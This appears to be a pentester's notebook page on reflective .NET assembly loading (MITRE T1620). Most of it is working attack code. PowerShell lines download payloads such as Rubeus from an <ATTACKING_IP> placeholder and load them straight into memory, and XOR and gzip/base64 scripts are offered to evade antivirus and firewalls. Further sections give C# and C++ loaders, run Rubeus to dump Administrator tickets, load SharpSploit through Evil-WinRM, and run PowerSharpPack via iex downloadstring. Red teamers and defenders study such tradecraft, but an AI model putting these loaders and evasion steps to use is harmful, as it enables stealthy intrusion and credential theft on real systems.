.NET Reflective Assembly

MITRE ATT&CK™ Reflective Code Loading - Technique T1620

Theory

We may reflectively load .NET code (exe or dll) into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process without calling the standard Windows APIs.

Practice

Powershell

We can implement Reflective Assembly Loading throught powershell to load the .NET assembly of a exe/dll using [System.Reflection.Assembly]

When reflectively loading .NET assembly (exe or dll), we have access to all it's classes and methods directely from powershell.

We can find lot of C# offensive tools on the SharpCollection Github repository that we may reflectively load. As example, we will take Rubeus.

On the Windows Tartget, via powershell, load the .NET assembly:

#Load assembly from memory
$data=(New-Object Net.Webclient).DownloadData("http://<ATTACKING_IP>/Rubeus.exe")
[System.Reflection.Assembly]::Load($data)

#Load assembly from disk
[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\Rubeus.exe"))

We can now call its methods

[Rubeus.Program]::Main("dump /user:administrator".Split())

To bypass AV signature and Firewalls analysis, we can XOR our native code before loading it as follow:

XOR the Binary using the following python code

xor_encrypt.py

def xor_encrypt(data, key):
    decrypted_data = bytearray()
    key_length = len(key)
    for i, byte in enumerate(data):
        decrypted_byte = byte ^ ord(key[i % key_length])
        decrypted_data.append(decrypted_byte)
    return bytes(decrypted_data)

def main():
    input_file_path = "evil.exe"  # Replace this with the path to your input file
    output_file_path = "evil.enc.exe" # Replace this with the path to your output enc file
    xor_key = "MySuperSecretKey"  # Replace "XOR_KEY" with your actual XOR key

    with open(input_file_path, "rb") as input_file:
        binary_data = input_file.read()

    decrypted_data = xor_encrypt(binary_data, xor_key)

    with open(output_file_path, "wb") as output_file:
        output_file.write(decrypted_data)

if __name__ == "__main__":
    main()

$ python3 xor_encrypt.py

On the Windows Tartget, decrypt and load the .NET assembly

#Create WebClient object, set a custom User-Agent, configure default proxy & credentials if any
$wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0");$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials

#Download the assembly
$k="MySuperSecretKey";$i=0;[byte[]]$b=([byte[]]($wc.DownloadData("http://<ATTACKING_IP>/evil.enc.exe")))|%{$_-bxor$k[$i++%$k.length]}

#Load it
[System.Reflection.Assembly]::Load($b) | Out-Null

Now, we can call methods from this assembly

#Call your function
[Do.The]::thing()

#Call your function with parameters
$parameters=@("arg1", "arg2")
[Do.The]::thing($parameters) 

#An other example
[Rubeus.Program]::Main("dump /user:administrator".Split())

To bypass AV signature and Firewalls analysis, we can Base64 encode + gzip-compress our .NET executable before loading it as follow:

Use the following powershell script to encode and compress the .NET assembly (change the binary path)

CompressEncodeAssembly.ps1

$bytes = [System.IO.File]::ReadAllBytes("$(pwd)\binary.exe")
[System.IO.MemoryStream] $outStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream($outStream, [System.IO.Compression.CompressionMode]::Compress)
$gzipStream.Write($bytes, 0, $bytes.Length)
$gzipStream.Close()
$outStream.Close()
[byte[]] $outBytes = $outStream.ToArray()
$b64Zipped = [System.Convert]::ToBase64String($outBytes)
$b64Zipped | Out-File -NoNewLine -Encoding ASCII .\b64.txt

.\CompressEncodeAssembly.ps1

On the target, we can decode, decompress and load the assembly

#Download it
$data= New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String((iwr "http://<ATTACKING_IP>/b64.txt" -UseBasicParsing).Content))
#Or
#Get it from a string
$data = New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String("<Base64 here>"))

#Decompress
$decompressed = New-Object System.IO.Compression.GZipStream($data, [System.IO.Compression.CompressionMode]::Decompress)
$out= New-Object System.IO.MemoryStream;
$decompressed.CopyTo($out)
[byte[]]$byteOutArray = $out.ToArray()

#Load it
[System.Reflection.Assembly]::Load($byteOutArray)

Now, we can call methods from this assembly

#Call your function
[Do.The]::thing()

#Call your function with parameters
$parameters=@("arg1", "arg2")
[Do.The]::thing($parameters)

#An other example
[Rubeus.Program]::Main("dump /user:administrator".Split())

We can build our own DLL in C# and reflectively load it with Powershell.

evil.cs

using System;
using System.Diagnostics;

//This function just spawn calc.exe
namespace Do
{
    public class The
    {
        public static void thing()
		{

		    Process p = new Process();
			p.StartInfo.FileName = "calc.exe";
			p.Start();	
		}
    }
}

Compile the csharp code from our Linux host into a DLL

$ mcs -t:library evil.cs

Then we can transfer the DLL to the target (using http-server, or smb for example) and load the Assembly

#Load assembly from memory
$data=(New-Object Net.Webclient).DownloadData("http://<ATTACKING_IP>/evil.dll")
[System.Reflection.Assembly]::Load($data)

#Load assembly from disk
[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\evil.dll"))

Call methods

PS> [Do.The]::thing()

C#

We can implement Reflective Assembly Loading in C# and load the .NET assembly of a exe/dll.

Here is a simple code to load a .NET assembly (exe or dll) in memory from C# using the Assembly.Load() method

using System;
using System.IO;
using System.Reflection;

namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {

            Byte[] fileBytes = File.ReadAllBytes("C:\\Tools\\JustACommandWithArgs.exe");

            string[] fileArgs = { "arg1", "arg2", "argX" };

            ExecuteAssembly(fileBytes, fileArgs);
        }

        public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
        {
            // Load the assembly
            Assembly assembly = Assembly.Load(assemblyBytes);
            // Find the Entrypoint or "Main" method
            MethodInfo method = assembly.EntryPoint;
            // Get the parameters
            object[] parameters = new[] { param };
            // Invoke the method with its parameters
            object execute = method.Invoke(null, parameters);
        }
    }
}

Compile it, and execute it

PS > AssemblyLoader.exe
Hi arg1!
Hi arg2!
Hi argX!

Here is a simple code to load a .NET assembly (exe or dll) in memory from C# using the Assembly.LoadFile() method

using System;
using System.IO;
using System.Reflection;

namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {

            string filePath = "C:\\Tools\\JustACommandWithArgs.exe";

            string[] fileArgs = { "arg1", "arg2", "argX" };

            ExecuteAssemblyLoadFile(filePath, fileArgs);
        }

        // Load and execute assembly from path
        //   - Accept only local file path
        public static void ExecuteAssemblyLoadFile(string assemblyPath, string[] param)
        {
            Console.WriteLine("[*] Using Assembly.LoadFile:");

            try
            {
                // Load the assembly
                Assembly assembly = Assembly.LoadFile(assemblyPath);
                // Find the Entrypoint or "Main" method
                MethodInfo method = assembly.EntryPoint;
                // Get the parameters
                object[] parameters = new[] { param };
                // Invoke the method with its parameters
                object execute = method.Invoke(null, parameters);
            } 
            catch (Exception e)
            {
                Console.WriteLine(e);
            }
        }
    }
}

Compile it, and execute it

PS > AssemblyLoader.exe
Hi arg1!
Hi arg2!
Hi argX!

Here is a little example of calling SharpSploit assembly (dll) in C# using the Assembly.Load() method

The following code use the SharpSploit.Credentials.Tokens class, create an instance using the constructor, and the call its WhoAmI method

SharpSploitWhoami.cs

using System;
using System.IO;
using System.Reflection;

namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {
            Byte[] fileBytes = File.ReadAllBytes("C:\\Users\\Root\\Desktop\\SharpSploit.dll");
            ExecuteAssembly(fileBytes);
        }

        public static void ExecuteAssembly(Byte[] assemblyBytes)
        {
            // Load the assembly
            Assembly asm = Assembly.Load(assemblyBytes);
            Type t = asm.GetType("SharpSploit.Credentials.Tokens");

            // Find the WhoAmi method - Note that definition must be the same as in the dll
            var methodInfo = t.GetMethod("WhoAmI", new Type[] { });
            if (methodInfo == null)
            {
                throw new Exception("No such method exists.");
            }

            //Define parameters for class constructor
            object[] constructorParameters = new object[1];
            constructorParameters[0] = true; // First parameter.

            //Create instance of Tokens class
            var o = Activator.CreateInstance(t, constructorParameters);

            //Invoke method
            var r = methodInfo.Invoke(o,null);
            Console.WriteLine(r);
            //OR
            //Specify parameters for the method we will be invoking
            //object[] parameters = new object[2];
            //parameters[0] = 124;            // First parameter
            //parameters[1] = "Some text.";   // Second parameter
            //Invoke method with parameters
            //var r = methodInfo.Invoke(o,parameters);
        }
    }
}

Compile it, and execute it

PS> SharpSploitWhoami.exe
DESKTOP1\Pwned

Here is a little example of calling SharpSploit assembly (dll) in C# using the Assembly.Load() method

The following code use the SharpSploit.Enumeration.Registry class to call its GetRegistryKey static method

SharpSploitRegQuery.cs

using System;
using System.IO;
using System.Reflection;

namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {
            Byte[] fileBytes = File.ReadAllBytes("C:\\Users\\Root\\Desktop\\SharpSploit.dll");
            ExecuteAssembly(fileBytes);
        }

        public static void ExecuteAssembly(Byte[] assemblyBytes)
        {
            // Load the assembly
            Assembly asm = Assembly.Load(assemblyBytes);
            Type t = asm.GetType("SharpSploit.Enumeration.Registry");

            // Find the GetRegistryKey method (public static string GetRegistryKey(string RegHiveKey, string RegValue))
            var methodInfo = t.GetMethod("GetRegistryKey", new Type[] { typeof(string) });
            if (methodInfo == null)
            {
                throw new Exception("No such method exists.");
            }

            //Specify parameters for the method we will be invoking
            object[] parameters = new object[1];
            parameters[0] = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName";   // Second parameter

            var r = methodInfo.Invoke("", parameters);
            Console.WriteLine(r);
        }
    }
}

Compile it, and execute it

PS> SharpSploitRegQuery.exe
Values:
  Name:
  Kind: String
  Value: mnmsrvc

  Name: ComputerName
  Kind: String
  Value: DESKTOP-LKH0G0S

C/C++

It possible to inject .NET assemblies (.exe and .dll) into an unmanaged process (not C# process) and invoke their methods.

Common Language Runtime (CLR) is the name chosen by Microsoft for the virtual machine component of the .NET framework. It is Microsoft's implementation of the Common Language Infrastructure (CLI) standard, which defines the execution environment for program code.

At a high level, it works as follows:

CLRCreateInstance is used to retrieve an interface ICLRMetaHost
ICLRMetaHost->GetRuntime is used to retrieve ICLRRuntimeInfo interface for a specified CLR version
ICLRRuntimeInfo->GetInterface is used to load the CLR into the current process and retrieve an interface ICLRRuntimeHost
ICLRRuntimeHost->Start is used to initialize the CLR into the current process
ICLRRuntimeHost->ExecuteInDefaultAppDomain is used to load the C# .NET assembly and call a particular method with an optionally provided argument

managed.cs is a C# program that is loaded by the unmanaged process.
unmanaged.cpp is a C++ program that loads a C# assembly (managed.exe). It invoks via ExecuteInDefaultAppDomain the spotlessMethod method from the C# assembly

unmanaged.cpp

// code stolen from https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process
#include <iostream>
#include <metahost.h>
#include <corerror.h>
#pragma comment(lib, "mscoree.lib")

int main()
{
    ICLRMetaHost* metaHost = NULL;
    ICLRRuntimeInfo* runtimeInfo = NULL;
    ICLRRuntimeHost* runtimeHost = NULL;
    DWORD pReturnValue;

    CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost);
    metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo);
    runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost);
    runtimeHost->Start();
    HRESULT res = runtimeHost->ExecuteInDefaultAppDomain(L"C:\\labs\\Csharp\\managed.exe", L"managed.Program", L"spotlessMethod", L"test", &pReturnValue);
    if (res == S_OK)
    {
        std::cout << "CLR executed successfully\n";
    }
    
    runtimeInfo->Release();
    metaHost->Release();
    runtimeHost->Release();
    return 0;
}

Compile it and execute it

PS > unmanaged.exe
Hi from CLR
CLR executed successfully

Here is the managed.cs code:

managed.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace CLRHello1
{
    class Program
    {
        static void Main(string[] args)
        {
            return;   
        }
        
        // important: methods called by ExecuteInDefaultAppDomain need to stick to this signature
        static int spotlessMethod(String pwzArgument)
        {
            Console.WriteLine("Hi from CLR");
            return 1;
        }
    }
}

Tools

If we can access the target through WinRM, we can use the built-in commands to load dll libraries and binaries in memory.

Dll-Loader

We can use Dll-Loader to load dll in memory. The dll file can be hosted by smb, http or locally. Once it is loaded type menu, then it is possible to autocomplete all functions.

#Load dll from the victime disk
*Evil-WinRM* PS C:\> Dll-Loader -local -path C:\Users\Pepito\Desktop\SharpSploit.dll

#Load dll from SMB server
*Evil-WinRM* PS C:\> Dll-Loader -smb -path \\<ATTACKING_IP>\Share\SharpSploit.dll

#Load dll from HTTP server
*Evil-WinRM* PS C:\> Dll-Loader -http -path http://<ATTACKING_IP>/SharpSploit.dll

#Call methods
*Evil-WinRM* PS C:\> [SharpSploit.Enumeration.Host]::GetProcessList()

Invoke-Binary

We can use Invoke-Binary to load a local (on attacking host) .NET binary in memory.

#Load local .NET binary
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

PowerSharpPack provide many usefull offensive CSharp Projects wraped into Powershell for easy usage. It use the mentioned gzip+base64 encode methods to load .NET assembly in memory.

#Download PowerSharpPack
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpPack.ps1')

#Choose your tool
PowerSharpPack -seatbelt -Command "AMSIProviders"

Resources

.NET Reflective AssemblyPentester's Promiscuous Notebook

C# reflection - load assembly and invoke a method if it existsStack Overflow

Executing C# Assembly in Memory Using Assembly.Load()KING SABRI's blog

Last updated 6 months ago